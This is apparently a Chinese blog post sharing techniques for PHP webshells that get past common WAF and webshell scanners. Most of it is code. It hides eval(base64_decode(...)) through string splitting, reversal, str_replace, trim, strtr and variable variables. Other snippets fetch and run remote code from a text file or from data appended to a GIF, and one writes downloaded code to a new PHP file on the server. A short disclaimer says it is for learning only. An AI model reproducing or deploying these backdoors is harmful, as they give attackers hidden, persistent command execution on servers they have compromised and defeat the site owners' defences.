为方便WAF入库的项目 | 分享PHP免杀大马 | 菜是原罪 | 多姿势(假的就一个)
webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可以将其称做为一种网页后门。又分大马和小马,大马就是功能比较多的,而小马更像一句话,本文介绍的是免杀PHP大马。
- 项目脚本仅供学习交流请勿用于非法用途。
- 本文测试的免杀脚本,并不永久免杀,只要一入特征库,就凉了,更多的是思路。
测试用的WAF
WAF | 下载 |
---|---|
D盾_Web查杀 | http://www.d99net.net/down/d_safe_2.1.4.4.zip |
河马webshell查杀 | http://dl.shellpub.com/hm-ui/latest/HmSetup.zip?version=1.5.0 |
深信服WebShellKillerTool | http://edr.sangfor.com.cn/tool/WebShellKillerTool.zip |
网站安全狗网马查杀 | http://download.safedog.cn/download/software/safedogwzApache.exe |
OpenRASP WEBDIR+检测引擎 | https://scanner.baidu.com |
首先,我们的思路是以这段代码开始:
<?php
$code = '大马源码base64加密';
eval(base64_decode($code));
?>
分割函数: 我们把base64_decode大小写分割成多个变量,再合并,并赋值给其他变量。
<?php
$a = 'bAsE';
$b = '64_dEcODE';
$c = $a.$b;
$d = $c('code');
eval($d);
至此绕过以上4个WAF查杀,但是上面那个例子虽然成功绕过了,但是看起来很简单,所以在写一个。
首先我们来了解php中$$
一个引用变量。
<?php
$a = 's9mf';
$b = $a;
$c = "b";
echo $$c;
利用$$
和""
双引号解释变量的特性,我们这样写
<?php
$a = 'bAsE';
$b = '64_dEcODE';
$fuck = $a.$b;
$d = "fuck";
$e = $$d('code'); // base64_decode('code')
eval($e);
这个payload
也是绕过以上4个WAF查杀。
以下的code均可以绕过绕过安全狗、D盾和深信服的客户端Webshell查杀和河马正式版的查杀。
- strrev()函数反转字符串。
<?php
echo strrev("s9mf");
<?php
$a = strrev('EdOcEd_46eSaB'); // base64_decode
$b= $a('code');
eval($b);
- str_replace()函数替换字符串中的一些字符(区分大小写)
<?php
echo str_replace("ok","","emokmmokmokm");
<?php
$c = str_replace("s9mf", "", "Bs9mfaSE6s9mf4_Decs9mfOdE"); // base64_decode
$a = $c('code');
eval($b=&$a);
?>
- ltrim() - 移除字符串左侧的空白字符或其他预定义字符
- trim() - 移除字符串两侧的空白字符或其他预定义字符
<?php
echo ltrim('mmmNice','m')."<br/>";
echo trim('okiii','i');
依据这个特性。
<?php
$a = ltrim('mmmbAsE64_D','m');
$b = trim('ecODeiii','i');
$base = $a.$b;
$c = $base('code');
eval($d=&$c);
- implode() 函数返回由数组元素组合成的字符串。
<?php
$arr = array('ki',' me');
echo implode("ss",$arr);
<?php
$arr = array('base','code');
$a = implode("64_de",$arr);
$b = $a('code');
$c = "\n";
eval($c.=$b);
?>
- strtok() 函数把字符串分割为更小的字符串。
<?php
$string = "//Hello//dd";
echo strtok($string, "/");
<?php
$string = "//base64_decode//FuuF";
$a = strtok($string, "/");
$b = $a('code');
eval($d=&$b);
- strtr() 函数转换字符串中特定的字符。
<?php
echo strtr("pende keky","ek","ab");
<?php
$a = strtr("bask64_mkcomk","km","ed");
$b = $a('code');
eval($d=&$b);
- str_ireplace() 函数替换字符串中的一些字符(不区分大小写)。
<?php
echo str_ireplace("boy","girl","beautiful boy");
输出:
<?php
$a = str_ireplace("uuuiii","4_decode","base6uuuiii");
$b = $a('code');
eval($d=&$b);
通过上面很多例子不难看出很多都用到字符串函数,只要多找写生僻的字符串函数,我们可以很轻松的写出免杀的code。
更多更详细的字符串函数
除了base64加密外,PHP内置很多压缩编码函数:
gzcompress
gzencode
gzdeflate
bzcompress
str_rot13
还有混淆加密平台:
远程读取可以很有效的将大马的体积缩小,基本上和常见的一句话体积差不多,小于1KB就几百字节那样。
- file_get_contents() 函数把整个文件读入一个字符串中。
- fopen() 函数打开一个文件或 URL。
首先,我们可以选择最简单的file_get_contents来实现。
<?php
eval(file_get_contents("http://localhost/test/Hi.txt"));
//读取远程文本,并执行代码。
还得介绍个substr() 函数
- substr() 函数返回字符串的一部分。
<?php
// 输出3个字节后的全部,就是s9mf
echo substr("Hi!s9mf",3);
如果我们加载一个txt的话,是可以执行代码,但是少了些逼格。
用C32打开Gif/图片,然后将代码粘贴到图片底部,就可以不破坏Gif/图片本身。
<?php
//远程加载的gif //293930是刚才记录的文件长度
eval(trim(substr(file_get_contents("http://localhost/test/k.gif"),293930)));
其他几个Waf也是查杀不出的,篇幅有限,就不演示了。
下面开始的代码,只能用txt文字,不支持Gif/图片。
<?php
$s9 = "687474703a2f2f6c6f63616c686f73742f746573742f6f6b6f6b2e747874";
$m="s9"; //远程URL进行hex编码
eval(file_get_contents(PACK('H*',$$m)));
<?php
$a = str_ireplace("fuck","et_contents","file_gfuck");
$c = "a";
$b= $$c('http://localhost/test/okok.txt');
eval($d=&$b);
<?php
$a = 'http://www.xx.com/s9mf.txt';
$b = 'file'.'_g'.'et_'.'contents';
$b = $b($a);
$c = strrev('stnetnoc_tup_elif');
$c('s9mf.php', $b);
?>
所以代码都会上传Github项目,感兴趣的朋友可以看看,持续更新。